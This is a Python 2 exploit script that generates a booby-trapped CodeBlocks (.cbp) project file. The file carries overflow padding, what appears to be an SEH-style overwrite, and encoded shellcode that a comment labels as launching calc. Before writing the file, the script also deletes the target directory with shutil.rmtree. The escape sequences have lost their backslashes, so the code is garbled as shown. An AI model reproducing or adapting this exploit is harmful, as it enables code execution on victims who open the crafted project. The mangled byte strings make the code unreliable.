#!/usr/bin/python



import sys,os,shutil



if len(sys.argv) != 3:

	print "------------------------------------------------"
	print "CodeBlocks (cbp) Buffer Overflow Exploit "
	print "Usage : exploit.py <project_name> <path>"
	print "Example : exploit.py sploit_proj c:proj\ "
        print "By : sup3r                                 "
	print "------------------------------------------------"

	sys.exit(0)



name = sys.argv[1]

path = sys.argv[2]



header1=(

"x3cx3fx78x6dx6cx20x76x65x72x73x69x6fx6ex3dx22x31x2ex30x22x20"

"x65x6ex63x6fx64x69x6ex67x3dx22x55x54x46x2dx38x22x20x73x74x61"

"x6ex64x61x6cx6fx6ex65x3dx22x79x65x73x22x20x3fx3ex0ax3cx43x6f"

"x64x65x42x6cx6fx63x6bx73x5fx70x72x6fx6ax65x63x74x5fx66x69x6c"

"x65x3ex0ax09x3cx46x69x6cx65x56x65x72x73x69x6fx6ex20x6dx61x6a"

"x6fx72x3dx22x31x22x20x6dx69x6ex6fx72x3dx22x36x22x20x2fx3ex0a"

"x09x3cx50x72x6fx6ax65x63x74x3ex0ax09x09x3cx4fx70x74x69x6fx6e"

"x20x74x69x74x6cx65x3dx22"+name+"x22x20x2fx3ex0ax09x09x3cx4f"

"x70x74x69x6fx6ex20x70x63x68x5fx6dx6fx64x65x3dx22x32x22x20x2f"

"x3ex0ax09x09x3cx4fx70x74x69x6fx6ex20x63x6fx6dx70x69x6cx65x72"

"x3dx22x67x63x63x22x20x2fx3ex0ax09x09x3cx42x75x69x6cx64x3ex0a"

"x09x09x09x3cx54x61x72x67x65x74x20x74x69x74x6cx65x3dx22x44x65"

"x62x75x67x22x3ex0ax09x09x09x09x3cx4fx70x74x69x6fx6ex20x6fx75"

"x74x70x75x74x3dx22")



header2=(

"x22x20x70x72x65x66x69x78x5fx61x75x74x6fx3dx22x31x22x20x65x78"

"x74x65x6ex73x69x6fx6ex5fx61x75x74x6fx3dx22x31x22x20x2fx3ex0a"

"x09x09x09x09x3cx4fx70x74x69x6fx6ex20x6fx62x6ax65x63x74x5fx6f"

"x75x74x70x75x74x3dx22x6fx62x6ax5cx44x65x62x75x67x5cx22x20x2f"

"x3ex0ax09x09x09x09x3cx4fx70x74x69x6fx6ex20x74x79x70x65x3dx22"

"x31x22x20x2fx3ex0ax09x09x09x09x3cx4fx70x74x69x6fx6ex20x63x6f"

"x6dx70x69x6cx65x72x3dx22x67x63x63x22x20x2fx3ex0ax09x09x09x09"

"x3cx43x6fx6dx70x69x6cx65x72x3ex0ax09x09x09x09x09x3cx41x64x64"

"x20x6fx70x74x69x6fx6ex3dx22x2dx67x22x20x2fx3ex0ax09x09x09x09"

"x3cx2fx43x6fx6dx70x69x6cx65x72x3ex0ax09x09x09x3cx2fx54x61x72"

"x67x65x74x3ex0ax09x09x09x3cx54x61x72x67x65x74x20x74x69x74x6c"

"x65x3dx22x52x65x6cx65x61x73x65x22x3ex0ax09x09x09x09x3cx4fx70"

"x74x69x6fx6ex20x6fx75x74x70x75x74x3dx22x62x69x6ex5cx52x65x6c"

"x65x61x73x65x5c"+name+"x22x20x70x72x65x66x69x78x5fx61x75x74"

"x6fx3dx22x31x22x20x65x78x74x65x6ex73x69x6fx6ex5fx61x75x74x6f"

"x3dx22x31x22x20x2fx3ex0ax09x09x09x09x3cx4fx70x74x69x6fx6ex20"

"x6fx62x6ax65x63x74x5fx6fx75x74x70x75x74x3dx22x6fx62x6ax5cx52"

"x65x6cx65x61x73x65x5cx22x20x2fx3ex0ax09x09x09x09x3cx4fx70x74"

"x69x6fx6ex20x74x79x70x65x3dx22x31x22x20x2fx3ex0ax09x09x09x09"

"x3cx4fx70x74x69x6fx6ex20x63x6fx6dx70x69x6cx65x72x3dx22x67x63"

"x63x22x20x2fx3ex0ax09x09x09x09x3cx43x6fx6dx70x69x6cx65x72x3e"

"x0ax09x09x09x09x09x3cx41x64x64x20x6fx70x74x69x6fx6ex3dx22x2d"

"x4fx32x22x20x2fx3ex0ax09x09x09x09x3cx2fx43x6fx6dx70x69x6cx65"

"x72x3ex0ax09x09x09x09x3cx4cx69x6ex6bx65x72x3ex0ax09x09x09x09"

"x09x3cx41x64x64x20x6fx70x74x69x6fx6ex3dx22x2dx73x22x20x2fx3e"

"x0ax09x09x09x09x3cx2fx4cx69x6ex6bx65x72x3ex0ax09x09x09x3cx2f"

"x54x61x72x67x65x74x3ex0ax09x09x3cx2fx42x75x69x6cx64x3ex0ax09"

"x09x3cx43x6fx6dx70x69x6cx65x72x3ex0ax09x09x09x3cx41x64x64x20"

"x6fx70x74x69x6fx6ex3dx22x2dx57x61x6cx6cx22x20x2fx3ex0ax09x09"

"x3cx2fx43x6fx6dx70x69x6cx65x72x3ex0ax09x09x3cx55x6ex69x74x20"

"x66x69x6cx65x6ex61x6dx65x3dx22x6dx61x69x6ex2ex63x22x3ex0ax09"

"x09x09x3cx4fx70x74x69x6fx6ex20x63x6fx6dx70x69x6cx65x72x56x61"

"x72x3dx22x43x43x22x20x2fx3ex0ax09x09x3cx2fx55x6ex69x74x3ex0a"

"x09x09x3cx45x78x74x65x6ex73x69x6fx6ex73x3ex0ax09x09x09x3cx63"

"x6fx64x65x5fx63x6fx6dx70x6cx65x74x69x6fx6ex20x2fx3ex0ax09x09"

"x09x3cx64x65x62x75x67x67x65x72x20x2fx3ex0ax09x09x3cx2fx45x78"

"x74x65x6ex73x69x6fx6ex73x3ex0ax09x3cx2fx50x72x6fx6ax65x63x74"

"x3ex0ax3cx2fx43x6fx64x65x42x6cx6fx63x6bx73x5fx70x72x6fx6ax65"

"x63x74x5fx66x69x6cx65x3ex0a")



c_file=(

"#include <stdio.h>n"

"#include <stdlib.h>nn"

"int main()n"

"{rn"

"    printf("Don't compile ");n"

"    return 0;n"

"}rn")



#calc shellcode -> 375 bytes

shellcode=(

"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIvSkymS8iKnKizNkipta"

"4XtckmQ2SuCZMwgQQrVK3zKKL8bJTVqioWuCFZMR79Z4sN1mLEmqcz5WfLnimlbTOkz7YhM"

"TVLjgORFvCiZQgVcUvmQxo71MCmQS2ZJxVlK1kjLZuoZOrZvPC2EBRnxL28JWY9YTVLjdPP"

"f5KvjimNRTKSpompftKYZ47UVMNeMrrxiZtppx6MYMLvaCvrHjwvYqj2FV7rmKMOm6khlKM"

"OuUOMzCOQvNwl1T6xmwgKzUNZqQXRPMPNmaQo8Nnpnn77Jq6k5pilYJ4mNQojymXqwvyUFO"

"ytJPtq0vzNn7gw1CFtJA")



payload =  header1

payload += "x41"*(4072-len(path))

payload += "x74x06x41x41"

payload += "xp"

payload += "x30x71"

payload += "x61"*169

payload += "x41"*111

payload += shellcode

payload += "x61"*(6720-len(shellcode))

payload += header2



try:

	shutil.rmtree(path)	

except os.error:

	pass

	

try:

	os.mkdir(path)

	cbp = open(path+name+'.cbp', 'w') 

	cbp.write(payload)

	cbp.close()

	main = open(path+'main.c', 'w')

	main.write(c_file)

	raw_input("[x] Exploit project created!")



except:

		print "Error!"